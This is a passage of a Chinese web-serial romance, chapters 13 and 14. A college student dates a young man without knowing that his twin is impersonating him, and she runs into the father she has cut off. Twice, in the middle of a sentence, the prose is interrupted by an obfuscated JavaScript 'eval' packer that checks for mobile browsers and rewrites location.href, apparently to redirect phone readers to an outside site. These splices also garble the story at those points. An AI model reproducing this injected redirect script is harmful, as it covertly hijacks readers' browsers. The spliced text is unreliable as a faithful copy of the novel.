“我的潮男恐惧症好像治好了。” 回到宿舍后,李再星一言不发在椅子上呆坐了会儿,忽然深沉地说了这么一句。 关柔眼睛没离开手机里的小说,“看来脱敏治疗挺有效。” 李再星摸着下巴若有所思,“算是吧。” 她之所以恐惧潮男,不只是觉得打扮普通的自己在他们面前显得很土,更是因为潜意识里认为这种人高高在上,难以相处。算是一种偏见,和韩栀子差不多。 但今天和季行月对话之后,她忽然觉得,季行月穿得再花里胡哨,本质也是个和她一样的普通人,甚至比她更脆弱,外强中干,就像以前的韩栀子,对自己很不自信。 偶尔也有脆弱和脱线的时候,比如害怕打针,比如突然要给她看手相——虽然那次是他烧糊涂了脑袋。 所以,李再星现在觉得潮男也没那么可怕,和季行月的相处也越来越自然。 ——原本是这么想的。 两周之后,李再星推翻了相处得自然这个结论。 这次的原因,绝对不在她! 这两周,季行月没再穿那种高饱和撞色、多巴胺混搭的衣服,穿着打扮不再那么显眼包,但是,他的行为却处处透着古怪。 在双方都没课的时候,李再星和他约了几次练歌,练歌途中,季行月总是盯着她。 起初以为是巧合,但不管什么时候看过去,他的视线始终都在她身上。 李再星被他盯着浑身不自在,实在忍不住问他,“我今天哪里很奇怪吗?” “没有啊。” “可你一直盯着我看。” “有吗?你的错觉吧。” 季行月不知是丝毫不觉还是不以为意,收回视线后没多久,就又看向她,嘴角还噙着一丝意味不明的笑。 李再星总觉得那笑容里带着某种慈爱。 因为季行月的古怪行为并不仅仅只是盯着她,没事还总给她送各种零食。 练习见面时,顺手给她带热奶茶小零嘴,走在路上看到卖烤栗子的,又给她买来烤栗子。 有时候李再星上着课,微信突然收到他的消息,说是学校附近开了家人气很旺的甜品店,要请她去吃。 李再星真怀疑他是不是想当她奶奶,把她当成猪仔来投喂。 而此刻,她就坐在甜品店里,面前是季行月一口气点的一只手数不完的蛋糕甜点,对面是正用奶奶般慈爱的目光盯着她的季行月。 “怎么不吃啊,不喜欢吗?”见她迟迟不动,季行月问。 “……” 沉默了几秒,李再星委婉表示,“我这半个月胖了三斤。” “有吗?”季行月往前倾了倾身体,双手托腮,认真端详她的脸,“看不出来啊。” 他的目光毫不掩饰地落在她脸上,眼神格外认真,仿佛眼里只剩下她一个。 这样的行为实在太有杀伤力,李再星的脸颊渐渐红温,毫无招架之力地抬起双手,捂住发烫的脸。 而罪魁祸首浑然不知缘由,甚至还在困惑地关心她,“突然这是怎么了?” “……” 李再星的内心无声呼救。 到底为什么总是这么看着我? …… “绝对是因为他喜欢上你了!” 听李再星讲完这两周的遭遇,王佳佳无比笃定下了结论。 关柔一边看小说一边举手:“同意。” “真的吗?这真的是因为喜欢?” 李再星将信将疑,“可我也一样喜欢他,也没这么去盯着他啊?” 王佳佳说:“每个人表达喜欢的方式不一样嘛,我高中那会儿暗恋隔壁班的男生,还一有空就去他们班走廊外面站岗呢。” 她拍了拍李再星的肩,喜形于色,“收拾收拾,该请吃饭了。” 李再星也同样欣喜:“那我是不是可以告白了?” 又有些迟疑,“我先告白会不会不太好?” 狗头军师王佳佳又开始传授经验:“爱情里主动权的掌握不是谁先告白来决定的,不用纠结这点,如果你想早点确定关系就告白,不过我个人建议先别急,多享受这段时间的暧昧,以后有你怀念的。” 李再星受教地点头。 502宿舍会议就此结束,李再星举着手机,点开季行月的微信聊天框。 正思索着睡前跟他再聊点什么,屏幕上方忽然弹出陌生号码的短信提示,问她这周末要不要一起去猫咪天堂撸猫。 李再星还在想这是谁,对方似乎也想到这点,紧接着发来一句:我是季行月,这是我的手机号。 李再星连忙回了个好,发出去的消息也几乎是秒被已读。 对方回复:周末见。 crush在我要找他聊天的时候刚好也找我,这怎么不算是心有灵犀呢? 李再星嘿嘿笑了两声,又忽然觉得疑惑。 奇怪,为什么季行月一会儿用微信跟她聊天,一会儿又用短信找她? …… 季舒阳放下手机,继续练习吉他。 《晴天》这首曲子的简化版本并不是很难,但李再星和季行月演奏用的是完整版,和弦转换,指法要求都有一定难度,尤其是对他这种初学者。 短时间高强度的练习,指腹的皮肤已经起过几轮水泡,扎破后,再起泡,再扎破,再起,每一声弦音,都伴随着指尖的刺痛。 而弹奏者好似浑然不觉,一刻也没停歇。 季行月在他门外站了会儿,听他断断续续地弹完整首曲子。 明明已经说好帮他完成这次表演,他这几周却还在练习,无谓的坚持,像是示威。也像在告诉他,无论什么事,他季舒阳都能做好。 季行月莫名有些烦躁,推开门,“别做无用功了,我跟她练习了这么多次,她知道我水平,你现在这程度上台绝对会露馅!” 季舒阳弹吉他动作没停,声音很淡:“所以我还在练。” 季行月只觉他油盐不进,“反正我不同意,参演者名单上是我的名字,你上台弹得不好,丢脸的可是我!” 季舒阳面色不改,“如果你出意外,我可以当替补。” “……你是在咒我还是打算谋杀我?” 季行月着实无语,“行,你爱做无用功就做吧,随便你!” 他丢下这句就走,余光瞥见季舒阳残破不堪的指尖,身体一顿。 季行月叹了口气,最终还是没直接回房,去客厅拿来医药箱,不客气地一屁股坐到他床上,“今晚先别练了,我给你上药。” “能别坐我床吗?” “……” 片刻沉默,季行月面无表情拎着医药箱离开。 又几秒后,门外传来他暴躁的骂声,“来客厅啊,墨迹鬼!” 季舒阳的手指几乎可以用惨不忍睹来形容,季行月看着就觉得疼,给他上药时,他却眉毛都没皱一下,仿佛这点痛楚不值一提。 “你还真是能忍,”季行月一边给他涂药,一边嘟嘟囔囔,“你就这么喜欢小土……李再星?” “嗯。”季舒阳应得毫无迟疑。 “哪怕她拒绝过你?” “这两者没有关系。” 季行月不理解地问:“她长得也没那么漂亮吧。” 季舒阳认真反驳:“是你眼光不行。” “……是你审美有问题!” 季行月最不服自己的眼光被质疑,尤其还是被毫无穿衣品味的季舒阳,“至少她没韩栀子漂亮!” 季舒阳不解:“这和韩栀子又有什么关系?” “当然是——”人韩栀子对你有意思呗…… 季行月到底还是咽回了那句话,三角恋这种狗血事,他还是少掺和为妙,当不知道最好。 “反正我搞不懂你,那种程度长相的女生多得是,为什么你非她不可?” 这话并非是贬低李再星的长相,对季行月这种颜值至上的颜控而言,是实话实说。 季舒阳却因为他这话皱起眉,“照你的意思,你以后的女朋友即便喜欢我,你也觉得理所应当?” “什么?” “因为我们是同一张脸,不是吗?” 季舒阳没少说怼他的话,唯独这次怼得最狠。 季行月哑口无言。 还不了口,并非是觉得季舒阳说得有道理,而是这话刺痛了他最在意的一点。 无需假设未来女友,迄今为止,爷爷、父母、老师、同学,喜欢他的人,更喜欢季舒阳,这本就已经是既定事实。 该死的! 季行月咬紧了牙,手上的棉签故意用力,报复性去弄疼他。但季舒阳没有丝毫反应,就好像这种程度的疼痛对他来说是家常便饭,已经习以为常。 季行月更愿意相信他是在使劲忍着,暗暗较了会儿劲,季舒阳还是连一声都没哼。 得不到想要的反应,他没趣地放弃,丢掉棉签,“药上完了,你自己收拾。” 他转身要回房,身后人忽然开口:“等你也有了喜欢的人,你就会知道,真心喜欢一个人,无关长相。” 季行月头也没回,背对着他做了个不认同的鬼脸。 什么歪理,喜欢一个人,首先当然是要能看得顺眼。 第一印象就不符合他审美的人,他怎么可能会去喜欢? 季行月没把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484292|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季舒阳的话放心上,被子一掀爬上床准备睡觉。 也不知是不是今晚跟季舒阳聊李再星聊得太久,导致他闭上眼都是李再星的脸。 季行月翻来覆去了一会儿,自己都没意识到自己什么时候拿起了手机,点进了李再星的微信朋友圈。 全部可见的朋友圈,以前压根没看过,这会儿毫无察觉地一条条快翻到底。 原来她还是个KTV麦霸;原来她很喜欢和室友们去吃海底捞,还专挑学生证打折的时间去;她撸猫时说最喜欢小猫,撸狗时又说最喜欢小狗,也不知道是真选择困难症,还是挑着时机说好话。 季行月一直翻到李再星高中时的朋友圈,看见她和韩栀子的合照,又是咋舌,“这小土豆怎么长的,高中和现在一点没变,对着镜头笑得眼睛都快看不见了,真傻。” 他哼哧地笑,“傻得有点可爱。” 话音落下,空气突然安静。 季行月整个人像被定住,为自己刚才的自言自语而不可置信。 他刚刚说了什么? 说李再星可爱? 他的审美该不会向季舒阳那个没品味的看齐了吧? 季行月脸色大变,他的眼光可不能变糟糕,颜值至上,颜值才是王道! 一定是最近跟李再星待得太久了,影响了他的判断! 火烧眉毛,季行月连忙切出微信,上网去搜他女神工藤静香的照片,无论何时看,女神就是女神,明眸皓齿,一眼万年。 舒服了,看来他的审美并没有变。 季行月总算松了口气。 看着女神的图片,又忍不住想到了另一张脸,李再星的下巴没这么尖,脸上带点婴儿肥,还有颗小虎牙,笑起来傻傻的。 季行月自己都未曾察觉地嘴角带上了一丝笑,方才的各种否认忘得一干二净,无意识地又点进了微信里,给李再星发微信:周六练完歌要不要一起去吃海底捞? 对方也还没睡,很快就回复:周六不是说好一起去看小猫吗? 季行月一愣,他确定自己的记忆没出问题,那么显然,是季舒阳约的她。 季行月啧了声,这家伙,约了人怎么也不跟他说一声,差点露馅。 他回复:哦对,是我差点忘了,还是去看小猫吧。 给季舒阳打完圆场,季行月有些可惜,还想说他也好久没吃火锅来着,只能下次约了。 互道完晚安,他把手机丢到一边,终于再次闭眼,准备睡觉。 翻来覆去,又翻来覆去,满脑子想的都是季舒阳周末和李再星一起去撸猫的事。 季行月猛地睁开眼,胸闷气短。 他怎么就觉得这么烦呢? …… 周六,猫咪天堂。 李再星远远就瞧见了草坪里那个熟悉的身影,穿了件版型挺括的燕麦色呢大衣,衬得他身形愈发削瘦挺拔。 她不喜欢迟到,所以比约定时间早到了十分钟,没想到对方竟然比她到得还早。 “季行月!” 李再星边往那边走边喊了声。 站在那边的男生像是没反应过来,慢了几拍才朝她看过来,腮帮子微微咬紧,又立刻松开,朝她露出标准的亲切笑容。 走到他面前,李再星注意到他穿的不算暖和,大衣偏薄,白色内搭也只是件有些单薄的高领毛衣,手上却戴着副黑色棉手套。 她想起他上次对自己的念叨,这次也念叨回去,“都冷得戴手套了,你怎么不穿厚点?” 季舒阳没解释很多,顺着她的话沿用了这个借口:“只是手冷。” 李再星毫不客气地笑他:“你上次还说我的手冷冰冰的,敢情你也是手凉体质啊。” 季舒阳一顿。 上次。 是季行月和她在南校食堂吃饭的那次,还是和她练歌的哪一次? 季行月为什么关心她的手冰不冰? 他们是怎么牵手的? 为什么会牵手? 是谁主动的? 脑子里一瞬间闪过无数疑问,却一句也不能问出口。季舒阳垂在身侧的手指不自觉蜷起,皮肤还未长好的指腹传来被棉质手套摩擦的刺痛。 他更用力地攥拳,手指的痛楚勉强抵过心里的不安。 李再星的视线早已落到了草坪上,并未注意到他神色的不对劲,只顾着一边找猫一边嘀咕,“今天没太阳,小猫们果然都没怎么出来,还好我带了猫条。” 她从口袋里掏出猫条,在草坪里转悠了几圈,果然招来了跟她最熟的橘猫两兄弟,呼噜和趴菜。 “季行月,你快来这!” 李再星朝季舒阳招手,待他走过来后,分了根猫条给他,“还记得他们俩吧?认得出来吗?” 季舒阳并没回答,直接伸手去摸其中一只猫。 李再星连忙抓住他的手阻止他,“那是趴菜,小心点小心点,直接这么去摸的话会被它挠的!” 季舒阳垂眼看着覆在一起的手,他今天戴着手套,并不能感受到她的温度,甚至连触感都被隔绝。 见他没说话,敛着眼皮似乎有些低落,李再星以为他是因为认错而失落,出声安慰道:“这次没认出来也没事,好多人都因为认错被趴菜挠过呢。” 她把自己拿着的这根猫条伸出去,立刻有只橘猫主动凑过来吃。 李再星重新给他介绍:“你看这只主动凑过来的,是粘人的弟弟呼噜,那边那只不递到嘴边就不会吃的,就是高冷的哥哥趴菜。” 她另一只手去挠呼噜的脑袋,呼噜一边吃猫条一边发出呼噜噜的声音。 李再星笑道:“撒娇猫咪最好命,所以呼噜比趴菜讨喜,更多人喜欢它。” “你呢?” 一直沉默的季舒阳忽然出声。 “嗯?” 李再星不明所以看向他。 他清薄的眼皮唰地抬起,漆黑眼底情绪涌动,像是忍耐了许久,又像在极度不安。 使劲压住声音的颤抖,季舒阳轻轻问她:“你喜欢哥哥还是弟弟?” 13. 第 13 章 阴天的下午,室外的光线也是冷的。季舒阳的面庞被阴沉的天色染上几分晦暗,黑而沉的眼睛,好似蒙了尘,失去亮彩。 李再星看着他,半晌,眨了眨眼,“我当然是两个都喜欢。” 她伸手把猫条递到趴菜嘴边,趴菜终于为之所动,歪着脑袋吃得津津有味。 趁它大快朵颐,李再星不客气地薅了把猫猫头,“小猫咪能有什么坏心思呢,高冷也好粘人也好,都是它们的个性,正因为每只猫咪的性格都不同,相处起来才更有意思,是吧,趴菜?” 趴菜依旧高冷,两耳不闻窗外事,一心埋头干猫条。 季舒阳低下头,没再说什么。 无论是人还是猫,都活在他羡慕的高度里。 看着被那只手温柔爱抚的趴菜,他嘴唇渐渐抿紧,同样伸手把猫条递到趴菜嘴边,在它歪头要吃时,又一点点收回,趴菜被猫条一步步引诱到他脚边,李再星的手够不着的地方。 他低头喂着猫的时候,李再星也托腮盯着他。 今天的他比起平时安静过头了,明明正做着治愈的事,但好像丝毫没有被治愈到。 “我们要不要一起出去玩?” 她忽然提议,像临时起意。 季舒阳没为她的突发奇想而表露惊讶,开口的询问即是答应,似乎对她的任何提议都不会发表反对意见。 他问:“去哪玩?” 李再星笑得神秘兮兮,“跟着我走就对了。” 二十几分钟后,李再星带着他来到了学校附近的一家室内滑冰场。 李再星手臂一扬,献宝一般,朝他展示,“怎么样,来玩点好玩的!” 季舒阳望向偌大的滑冰场,于他而言是新事物,令人恐惧的新领域,“抱歉,我……没学过滑冰。” 这点对李再星来说是早就纳入考虑的问题。 “这不是有我吗?” 李再星拍了拍自己的胸脯,自卖自夸道,“我可是5岁就开始学滑冰的资深爱好者哦,以前还拿过青安市短道速滑少儿组的亚军呢。小李教练,包教包会!” 季舒阳看着她信心十足的笑容,跟着弯起唇。 没办法拒绝。 无论她说什么,他都无法拒绝。 热身后穿上护具,李再星带着季舒阳上了冰,在扶杆旁边先教他怎么站稳。 “你是初学,稍微弯着点腿,重心往前……” 李再星在上冰前的放话并不完全是嘚瑟,她教得很认真,每个细节都一一仔细交代。 季舒阳脑子灵活,学得也很认真,她教的每一个动作点都很快记住,但李再星感觉他似乎认真过头了,不像是来玩的,像是来考试的,整个人都很紧绷。 “别紧张,摔跤了也没事,你放松些。” “好。” 李再星想让他放平心态,季舒阳也答应了,只是表情仍旧严肃,身体也仍旧僵硬。 这么下去不行,她是带他来放松的,可不是来学新东西增加压力的。 “季行月,你看我。” 李再星突然滑到他面前,跟他面对面,在对方看过来时,她故意身体后仰,偏移重心,眼看就要摔倒。 果不其然,面前的男生反射性伸手去抓住她,但冰面不比平地,他终究没能掌握平衡。 碰撞!两人齐齐摔倒在地。 李再星是有计划地摔倒,摔倒前做好了准备,不会摔得多严重,她没想到的是,毫无防备的季行月,还能在千钧一发之际,稳稳护住她。 手臂环住她的身体,手掌沉稳有力地托住她的后脑勺,几乎将她整个人抱在怀里。 鼻尖是他身上淡淡的木质香,他胸腔的心跳声急促剧烈。 糟糕,玩笑开得好像有点大。 “你没事吧?摔到哪了吗?” 季舒阳第一时间询问她的情况,要从她身上起来。李再星这时也反应过来,眼看他忘记这是冰面,手忙脚乱地要用常规姿势爬起来,情急之下抓住他的前襟,“等等,你这么起来还会再摔。” 季舒阳立刻停下动作,担心再摔跤压到她,被迫保持着跪在她腿间的姿势,一动不动。 “摔跤的感觉怎么样?”李再星问。 比起他所担忧的,他身下的女生出乎意外地在笑。 见她没事,季舒阳松了口气,“抱歉,我没扶住你。” 李再星没想到他这会儿想的竟然是跟她道歉,顿时无奈,“明明是我自己摔的跤,你道什么歉呀?我问你摔跤的感觉怎么样呢,疼吗?” 季舒阳下意识否认:“不疼。” “骗人,”李再星毫不留情拆穿他,“摔跤怎么可能不疼?我故意摔的都觉得有点疼呢。” “故……意?”季舒阳不知作何反应。 李再星坦然承认,“对啊,而且我知道你肯定会来扶我,也知道你肯定会跟我摔到一块,就是想让你体会一下摔跤是什么感觉。” 说话时她无意识往前凑了些许,坏笑着问他,“我很坏吧?” 眼睛弯成月牙,她笑容里几分得逞。 季舒阳的前襟仍被她抓着,近距离看,她笑起来时的眼睛亮晶晶的,像天上的星星。 季舒阳眼睫毛颤动几下,垂眼撇开视线,“你为什么要这么做?” “为了让你摔跤呀,我爸——” 李再星忽地一顿,咳了声后继续说,“有人这么说过,学会滑冰的第一件事,是先学会摔跤,摔了一次之后,你就知道在冰上摔跤是什么感觉,未知变成已知,也就不会再那么害怕了。” 季舒阳的紧绷并非是害怕摔跤带来的疼痛,而是不想在她面前失误。 但他没有反驳,也未多作辩解。 她不惜亲身示范,用心良苦,他却并非是个专心听讲的好学生。 距离太近了,视线没法坦荡地去看她的眼睛,也没法像个正人君子从她唇上离开。 她的嘴唇小巧精致,唇瓣饱满可爱,线条柔和,莫名让人联想到水润的樱桃。 漂亮的唇瓣一张一合,季舒阳只听见自己如擂鼓的心跳声。 “……行月,季行月?” 季舒阳猛地回神,慌乱中对上她视线,“怎、怎么?” 李再星早就松开了他的衣襟,笑道:“我们该爬起来重新练习啦。” 如同做坏事被发现,季舒阳一瞬间面红耳热,即刻从她身上退开,“抱歉。” 经过这一摔,季舒阳比之前的状态放松了很多,李再星很是欣慰,有些奇怪的是,只要跟她面对面,他就立刻变得僵硬,也不怎么看她的脸。 李再星不由怀疑,该不会是她教人的时候太像驾校教练,所以害得他不敢直视自己? 滑冰场是计时收费,到点时差不多刚好到吃晚饭的时间,李再星和季舒阳没再续时,两人下了冰,脱掉护具,准备离场。 李再星一边跟季舒阳讨论晚上吃什么,一边往外走时,忽然听见身后有人喊了声自己的名字。 很久没听到,但还是立刻认出来的声音。 李再星转身回头,朝这边走过来的中年男人果不其然是她爸,李宏扬。 “我在那边大老远瞧见有个背影像你,仔细一看还真是我家宝贝女儿,”李宏扬笑呵呵地跟她打招呼,“好些日子没见了,是不是瘦了点?” 听到他对李再星的称呼,季舒阳不动声色看向李再星。 相比中年男人的热络,李再星脸上没有任何表情,“你怎么在这?” 李宏扬笑道:“这是我刚承包下来的滑冰场。” 他年轻时是省队的滑冰选手,伤病退役后靠投资赚了点钱,又干回老本行,开起了滑冰场。 李宏扬又把视线落到她旁边的季舒阳身上,笑问:“这是和男朋友来这边约会?小伙子叫——” “是不是都不关你事。” 李再星往季舒阳面前一站,挡在两人之间,打断他向季舒阳的搭话。 不希望李宏扬和她现在的生活有任何牵扯,更不希望被季行月知道她的过去。 看出两人之间气氛微妙,季舒阳主动为他们留出空间,“我去那边等你。” 李再星没看他,低低应了一声。 一只手搭在了她的肩上。 男生的手指稍用了些力气,拍了拍她的肩膀,带着安抚的意味。 季舒阳弯腰凑近她耳边,压低声音:“有需要的话给我打个暗号,我过来带你走。” 李再星微微一愣,紧攥的拳头松开些许。 她点了点头,“好。” 李宏扬看着这两人当自己的面说悄悄话,目送着季舒阳离开这边后,跟李再星笑,“这小伙子挺不错啊,知道看眼色,人长得也俊。” “他是很不错,”李再星嗤了声,话里带刺,“至少不会骗人。” 听出她的暗讽,李宏扬知道她还在计较他以前的过错,脸上的笑多了几分无奈,“小星,你还在怪爸爸?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484293|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李再星撇开脸,声音冷漠:“如果知道这是你开的滑冰场,我根本不会来。” 李宏扬叹了口气:“当年是我做得不对,让你和你妈妈失望了,但事情已经过去这么久,你妈妈现在也组建了新家庭,开始了新生活,我们父女俩不能总因为过去那点事,一直这么僵着,是不是?” 是个屁。 李再星很想回他这句话。 高二时撞见他出轨,不过才三年,在他口中仿佛已经是上辈子的久远历史。 当初让她整个世界崩塌的恶心事,就这么被轻描淡写地形容成不值一提的小事。 李再星连冷笑的力气都没有。 想反驳回去,偏偏他提到了李素雅的再婚,让她想要的反驳站不住脚。 因为他出轨而受到伤害最大的妈妈都走出来了,如今也再婚了,似乎三年真的如他所言,过了很久很久。 像被团团棉花堆积在喉咙口,梗塞到窒息,她无从反驳。 李宏扬后来再说了什么,李再星都没再听进去,问她钱够不够用,她没作答,他拿出手机给她转零花钱,她也没拒绝。 高中时候的她不愿跟李宏扬扯上一丝关系,也不肯收他一分钱,但李素雅说过,无论是关心还是金钱,都是他该给的,所以,该甩的脸色要甩,该收的钱也要收。 不过,这家滑冰场,她绝不会再来第二次。 和李宏扬聊完,李再星没马上动作,站在原地做了两次的深呼吸,催眠自己无事发生,咧起一个和往常无异的笑容,再一路小跑到季舒阳面前,“我刚发了一笔横财,我们一起去吃大餐吧!我请客!” 季舒阳就站在十几步远处,一直看着她这边,不会听到她的谈话内容,却能将她的微小动作尽收眼底。 但他到底什么都没说,只轻轻点头。 李再星要去的这家店离滑冰场和学校都很远,打车过去都坐了半个多小时。 李再星并不知道这家西餐厅的味道怎么样,光是从地段、装修和价格来看,这就是顿大餐。 之所以来这,是因为这家店是她和韩栀子一度很想来体验但止步于消费价格,如今有钱了,自然成为首选。 冬季夜长,整座城市早早迎来黑暗,林立高楼陆陆续续点亮的灯光,连成一片,像星河坠入了地面。 透过餐厅的落地玻璃窗,城市夜景尽揽眼底。 李再星拿着手机咔咔一顿拍,不光要拍食物拍夜景,还把手机递给季舒阳,“帮我拍张照片吧,我要给我朋友好好炫耀炫耀。” 她表现得异常兴奋,甚至兴奋过头。季舒阳没扫她的兴,配合地接过手机。 一见他举起手机,李再星赶紧挤出一个笑,要多灿烂有多灿烂。 透过镜头看着她灿烂到勉强的笑容,季舒阳最终还是没有按下拍摄键。 “李再星。”他轻声喊她。 李再星还维持着那个笑容:“嗯?在拍了吗?” “你笑的时候很好看,不笑的时候也好看。”季舒阳放下手机,目光与她正面撞上,“所以,现在也可以不笑。” 那是一种什么样的目光呢,看穿一切,却又平和而包容,宛如冬天里难得见到的阳光,被注视的她,就像在草地里晒太阳的猫一样得到安宁。 李再星缓缓收起笑容,挠了挠脸颊,“被看出来了啊……” 明明被他看穿,却并不觉得反感,大概是因为他眼里没有任何好奇和同情。 “刚刚那个是我前爸,在我高二的时候婚内出轨,所以我挺不待见他。” 李再星的话很简短,交代了一些情况,也隐瞒了一些情况。 比如亲眼撞见父亲出轨的人是她,把这件事告诉母亲的人是她,最后威胁父母立刻离婚的人也是她。 李再星是个爱憎分明到极点的人,过去有多崇拜父亲,后来就有多怨憎。 所以,得知母亲早已知道这种事不是第一次,并且仍旧不愿意和父亲离婚时,李再星把刀架在了自己脖子上:“这种生活好讨厌,再这样一起生活,我去死。” 看似正常的皮囊下,是个冲动偏执的疯子。 她为此惭愧,不愿让任何人知道这点。 安静的西餐厅,只有萨克斯奏响的轻音乐在空气里流淌。 不常吃西餐,李再星对刀叉的使用很不熟练,笨拙地切着牛排。 在她艰难地同牛排作斗争时,忽然听见季舒阳说:“也是在高二的时候,我喜欢上了一个女孩。” 14. 第 14 章 李再星微微一愣,看向他。 季舒阳并没看她,敛着眼睛,一丝不苟地将牛排切成尺寸均匀的小块,“加上她微信后,我想了一夜该怎么跟她聊天,好不容易把第一条消息发给她,却发现我已经被她删了。” 他的语气很平静,就像是在说着别人的事,也怪他的语气太平静,让李再星没办法跟他惨烈的失败共情,反而有些想笑。 她也确实笑出来了。 “抱歉抱歉,我不是故意……哈哈哈……要笑的。”她连道歉的时候都还在笑。 季舒阳起身,端起他已经切好的牛排,同她交换,“没关系,本来就是说来逗你笑的。” 李再星一愣,原来他突然提起往事,是为了安慰她。 他安慰人的方法真是独具一格,竟然剜开自己的伤疤,来充当她的安慰剂,就好像她的心情比他自身的感受更重要一样。 李再星敛了些笑意,忍不住继续刚才的话题,“你对那个女孩子是一见钟情?” 她猜是这样,毕竟要到微信后马上被删,一般会发生在不用顾及后果的陌生人之间,经常被要微信的韩栀子就做过不少这种事。 季舒阳没继续切牛排,而是看着她,眸中眼波流转,“不是第一眼就喜欢上,但确实是只见过那一面之后。” 李再星不明白这两者有什么区别,“那个女孩子一定长得很漂亮吧?” 季舒阳没马上回答,只安静注视着她,黑而亮的眼里流动着某种神采。 李再星不明所以眨了眨眼。 这么看着她做什么?难不成是这个问题不好回答? 她正要收回这个问题,季舒阳忽然低下了头,“是,很漂亮,笑和不笑的时候都漂亮。” 他说这话时低垂着眼睛,声音很轻,像是不好意思般,带着几分腼腆。 李再星忽然就笑不出来了。 虽然这问题是她主动问的,但从他口中说出来,他这个回答,这个反应,让她微妙地有点酸。 那该有多漂亮? 该不会还在喜欢她吧? 再好奇,她也没有问。 王佳佳千叮咛万嘱咐,不能问这种会对助攻没用还会气到自己的历史遗留问题。他能把这种事当成笑话说给她听,应该是已经从那段单恋中走出来了。 对,应该是走出来了。 “应该是……吧?” 怀揣着巨大的疑问回到宿舍,李再星第一件事就是求助502的室友们。 “你去吃大餐竟然带他不带我,伤心了!”这是关注点完全偏移的王佳佳。 “跟暧昧对象聊以前的单恋史,他是不是脑子不太好使?”这是锐评男人迷惑行为的关柔。 “他也是为了安慰我,因为我今天发生了一点不愉快的事。”这是忍不住为crush辩解的李再星。 关柔咋舌:“还没在一起呢,这就开始护上了?” 李再星理直气壮,“吃人嘴短,毕竟人家刚请我吃了一顿大餐呢。” 原本是她说要请客的,吃完饭却发现对方中途离席时已经结了账,说算作今天教他滑冰的学费。 “所以他到底是不是已经从那段单恋中走出来了?”李再星还追着这个问题不放。 关柔耸耸肩,表示不知道。 王佳佳推推眼镜,“一半一半?” 李再星心痛哀嚎,后悔扼腕时,放在桌上的手机忽然响了三声。 她crush发来了消息。 李再星拿起手机,点开短信。 竟然是两张她的照片,一张在笑,一张没在笑,也不知道是什么时候偷拍的,还把她拍得很好看。 对方只发来这两张照片,和一句晚安,其他什么都没说。 李再星一动不动地捧着手机,盯着这两张照片良久。 这个时候宿舍并不安静,关柔外放着听不懂的韩剧,王佳佳咔擦咔擦地嗑着瓜子,外面还时不时传来其他宿舍女生路过时的说笑声。空气吵闹又快活。 坐在嘈杂的宿舍里,李再星莫名感觉有些热,脸颊一点点烧起来。 泛红的脸颊埋进手臂,她趴在桌上,闷笑出声。 …… 季行月的朋友圈里出现了一张照片。 弯起的杏眼,冒尖的虎牙,照片里的女生没看镜头,脸上展露的笑容却很有感染力地传达到了镜头外。 “看来她今天玩得很开心嘛。” 季行月动了动手指,给李再星的这条动态点了个赞。 过了几秒,又重新划回这条动态,狠狠把赞取消。 “马上就到音乐艺术节了,这家伙不来练歌,怎么能玩得这么开心?” 季行月越想越觉心气不顺,把手机一丢,从床上爬起来,打算去吃点冰淇淋降降火。 火急火燎走到厨房,刚从冰箱里把那桶一斤装的饼干味冰淇淋抱出来,身后传来开门声和渐近的脚步声。 季行月抱着冰淇淋转过身,看向从卧室里出来的季舒阳,酸不溜秋地问:“今天是不是玩得很开心啊?” 季舒阳走到厨房倒水,手指捏着玻璃杯,闻言弯了下唇,“嗯,很开心。” 向来对这种问题都用“还行”这类回答应付的人,今天竟然用上了“很”这种程度的副词,看来他和李再星真的相处得很愉快。 季行月不愉快了。 明明是用他的身份,明明是在当他的影子,竟然还能玩得这么开心。 忽然想到什么,季行月狐疑问:“你没用我的身份做什么坏事吧?难道跟她亲……不不不,李再星不是这么随便的人……” 季行月问到一半又自己推翻了这猜测,最后瞪着季舒阳,警告:“你不准用我的身份跟她玩暧昧,牵手也不行!” 他这句话反倒提醒了季舒阳一件事。 “你呢?”季舒阳问,“你为什么要牵她的手?” “啊?”季行月一时有些懵,半天才想起来跟李再星握手是什么时候的事。 季行月直呼冤枉:“是她突然抓我的手!是她主动的好吗!” 季舒阳皱起眉:“除了在南校那天,你还跟她牵过手?你们牵过几次?为什么她要主动牵你?” 机关枪一样的质问向季行月突突突地砸过来,季行月啧了声,不服气地嘀咕,“就是个意外,不就是牵了下手吗,连这点醋都要吃。” 说是嘀咕,声音可一点都不小。 季舒阳没理会他的不满,只淡淡提醒:“希望不会有下次。” “知道了知道了。”季行月敷衍地答应,就算有下次,你又怎么会知道? 等等,不对啊! 明明是他要提醒季舒阳记得收敛,怎么他反而成了被提醒的这一方了? 季行月啧了声,突然没了吃冰淇淋的心情,郁闷回房。 一晚过后仍旧烦。 一连几天,季行月都莫名焦躁。 像是很多不明白的事都堆在心口,梗得慌。 听见季舒阳又在房间里练习吉他,不明白他为什么还在坚持,是不是真在谋划音乐艺术节前夕,要给他下泻药篡位。 几次点进李再星的微信聊天页面想联系她,又不明白自己为什么有事没事突然要找她,主动找她会心烦,没和她联系更心烦。 在学校跟张皓之流的酒肉朋友们装模作样充当老好人角色,不明白为什么自己要这么费心费力地讨这些傻逼喜欢。 种种烦心事堆在一起,形容不出来的胸闷。 想要究其根本,找到让他心烦的源头,却反而像掉进毛线堆里的猫,越找越是乱糟糟。 